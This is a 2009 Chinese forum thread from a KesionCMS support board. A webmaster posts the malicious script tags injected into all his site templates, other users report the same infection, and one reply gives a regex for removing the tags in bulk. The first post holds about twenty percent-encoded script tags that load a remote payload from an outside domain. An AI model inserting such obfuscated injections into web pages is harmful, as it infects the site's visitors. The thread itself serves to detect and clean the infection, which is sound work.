账号通
    

注册

找回密码

账号  

密码  

话题
互动
会员
服务
<<返回列表上一个主题 下一个主题 打印本帖 复制本帖地址

2345

查看

6

回复
主题：【公告】晒一下我中的 v6 木马脚本，供大家查找 [收藏主题] 转到：  
jackyzhi 当前离线

36

主题

0

广播

0

粉丝
添加关注
级别:学前班

用户积分:1058 分
登录次数:74 次
注册时间:2007/12/31
最后登录:2010/1/18
jackyzhi 发表于：2009/9/16 10:41:00   | 只看该作者 查看该作者主题 楼主 
做在线知识付费 选科汛云开店
有课程 找生源 就上科汛课堂街

 

我全站模板页面被挂的木马脚本，晒给大家，或许便于大家查找：

 


<script language="JavaScript" src="http://www%2Eicxxw%2Ecom/images/logo1%2Eswf" type="text/javascript" id="seraph6script4830"  ></script>

<script src="http://www.icxxw.com/imag%65s/logo1.swf" type="text/javascript" language="JavaScript" id="seraph6script2440"  ></script>


<script language="JavaScript" type="text/javascript" src="http://www.i%63xxw.%63om/images/logo1.swf" id="seraph6script6952"  ></script>


<script id="seraph6script6825" type="text/javascript" src="http://%77%77%77.icxx%77.com/images/logo1.s%77f" language="JavaScript"  ></script>


<script language="JavaScript" type="text/javascript" src="http://www.ic%78%78w.com/images/logo1.swf" id="seraph6script672"  ></script>


<script language="JavaScript" id="seraph6script7636" src="http://www%2Eicxxw%2Ecom/images/logo1%2Eswf" type="text/javascript"  ></script>


<script language="JavaScript" id="seraph6script954" src="http://www.icxxw.co%6D/i%6Dages/logo1.swf" type="text/javascript"  ></script>


<script language="JavaScript" type="text/javascript" src="http://www.i%63xxw.%63om/images/logo1.swf" id="seraph6script5159"  ></script>


<script language="JavaScript" id="seraph6script3344" src="http://www.icxxw.c%6Fm/images/l%6Fg%6F1.swf" type="text/javascript"  ></script>


<script src="http://www.%69cxxw.com/%69mages/logo1.swf" type="text/javascript" language="JavaScript" id="seraph6script2794"  ></script>


<script type="text/javascript" language="JavaScript" src="http://www.ic%78%78w.com/images/logo1.swf" id="seraph6script2021"  ></script>


<script type="text/javascript" language="JavaScript" src="http://www.icxxw.com/imag%65s/logo1.swf" id="seraph6script4073"  ></script>


<script type="text/javascript" language="JavaScript" src="http://%77%77%77.icxx%77.com/images/logo1.s%77f" id="seraph6script5955"  ></script>


<script language="JavaScript" type="text/javascript" src="http://www.icxxw.co%6D/i%6Dages/logo1.swf" id="seraph6script5339"  ></script>


<script type="text/javascript" language="JavaScript" src="http://%77%77%77.icxx%77.com/images/logo1.s%77f" id="seraph6script2277"  ></script>


<script language="JavaScript" type="text/javascript" src="http://www.icxxw.com/image%73/logo1.%73wf" id="seraph6script7662"  ></script>


<script language="JavaScript" type="text/javascript" src="http://www.ic%78%78w.com/images/logo1.swf" id="seraph6script5275"  ></script>


<script language="JavaScript" type="text/javascript" id="seraph6script7665" src="http://www.icxxw.com/imag%65s/logo1.swf"  ></script>


<script language="JavaScript" src="http://www.ic%78%78w.com/images/logo1.swf" type="text/javascript" id="seraph6script1750"  ></script>


<script src="http://www.i%63xxw.%63om/images/logo1.swf" type="text/javascript" language="JavaScript" id="seraph6script6354"  ></script>
 
一分钟快速开通线上知识店铺
  支持(0) | 反对(0) 回到顶部顶端 回到底部底部
sqzxorg 当前离线

617

主题

0

广播

0

粉丝
添加关注
级别:六年级

用户积分:859 分
登录次数:119 次
注册时间:2009/8/31
最后登录:2016/5/28
sqzxorg 发表于：2009/9/18 15:22:00   | 只看该作者 查看该作者主题 沙发 
科汛在线商城系统(NET)
做线上考试培训 就选#科汛网校
我的现在没有这个代码了   但是大家也说我的也中马了   郁闷~~    懂的大侠们 帮忙看看啊  www.ymtie.com.cn     可以给我发短信 或者加我QQ648070412   谢谢了
 
有课程 找生源 就上科汛课堂街
  支持(0) | 反对(0) 回到顶部顶端 回到底部底部
laoxian888 当前离线

20

主题

0

广播

0

粉丝
添加关注
级别:学前班

用户积分:509 分
登录次数:77 次
注册时间:2009/8/6
最后登录:2011/3/4
laoxian888 发表于：2009/9/18 14:42:00   | 只看该作者 查看该作者主题 藤椅 
科汛在线考试系统(NET)
有课程 找生源 就上科汛课堂街

给一个彻底解决问题的办法

 
 
科汛商学院助您快速入门
  支持(0) | 反对(0) 回到顶部顶端 回到底部底部
5kcn 当前离线

1387

主题

7

广播

2

粉丝
添加关注
级别:九年级

用户积分:5750 分
登录次数:328 次
注册时间:2007/11/8
最后登录:2021/5/15
5kcn 发表于：2009/9/16 15:01:00   | 只看该作者 查看该作者主题 板凳 
科汛在线网校系统
做官网 就用科汛智能建站系统!
以下是引用zxzthlxf在2009-9-16 10:52:00的发言：

关于如何替换被改写的代码段:请使用Ultraedit 14.0以上的版本,支持多行替换及正则表达式

在服务器上运行Ultraedit,选择搜索菜单下的在文件中替换

查找内容为:

(<script).*?(icxxw|icxx%77|i%63xxw|%69cxxw|ic%78xw|icx%78w).*?(\/script>)

替换内容为:空格

 

选下面的正则表达式,Perl规则,再选择网站目录,可进行批量替换!

 

 

不错！
 
做考试题库 就用#科汛在线考试系统!
  支持(0) | 反对(0) 回到顶部顶端 回到底部底部
laoxian888 当前离线

20

主题

0

广播

0

粉丝
添加关注
级别:学前班

用户积分:509 分
登录次数:77 次
注册时间:2009/8/6
最后登录:2011/3/4
laoxian888 发表于：2009/9/16 13:33:00   | 只看该作者 查看该作者主题 报纸 
科汛在线网校系统
做线上考试培训 就选#科汛网校
我的站也中了这个啊
 
做官网 就用科汛智能建站系统!
  支持(0) | 反对(0) 回到顶部顶端 回到底部底部
dgmail88 当前离线

31

主题

0

广播

0

粉丝
添加关注
级别:学前班

用户积分:430 分
登录次数:29 次
注册时间:2009/7/27
最后登录:2010/3/23
dgmail88 发表于：2009/9/16 11:37:00   | 只看该作者 查看该作者主题 地板 
科汛在线网校系统
做官网 就用科汛智能建站系统!
实在是没错.跟我的一个鸟样
 
有课程 找生源 就上科汛课堂街
  支持(0) | 反对(0) 回到顶部顶端 回到底部底部
zxzthlxf 当前离线

44

主题

0

广播

0

粉丝
添加关注
级别:学前班

用户积分:530 分
登录次数:17 次
注册时间:2007/12/3
最后登录:2010/3/19
zxzthlxf 发表于：2009/9/16 10:52:00   | 只看该作者 查看该作者主题 7楼 
科汛在线商城系统(NET)
有生源 找课程 就上科汛课堂街!

关于如何替换被改写的代码段:请使用Ultraedit 14.0以上的版本,支持多行替换及正则表达式

在服务器上运行Ultraedit,选择搜索菜单下的在文件中替换

查找内容为:

(<script).*?(icxxw|icxx%77|i%63xxw|%69cxxw|ic%78xw|icx%78w).*?(\/script>)

替换内容为:空格

 

选下面的正则表达式,Perl规则,再选择网站目录,可进行批量替换!
 
做新职业技能培训平台 就选#科汛网校
  支持(0) | 反对(0) 回到顶部顶端 回到底部底部
＜上一主题 | 下一主题 ＞
<< 返回列表
Powered By KesionCMS Version X1
厦门科汛软件有限公司 © 2006-2016 页面执行0.50391秒 powered by KesionCMS 9.0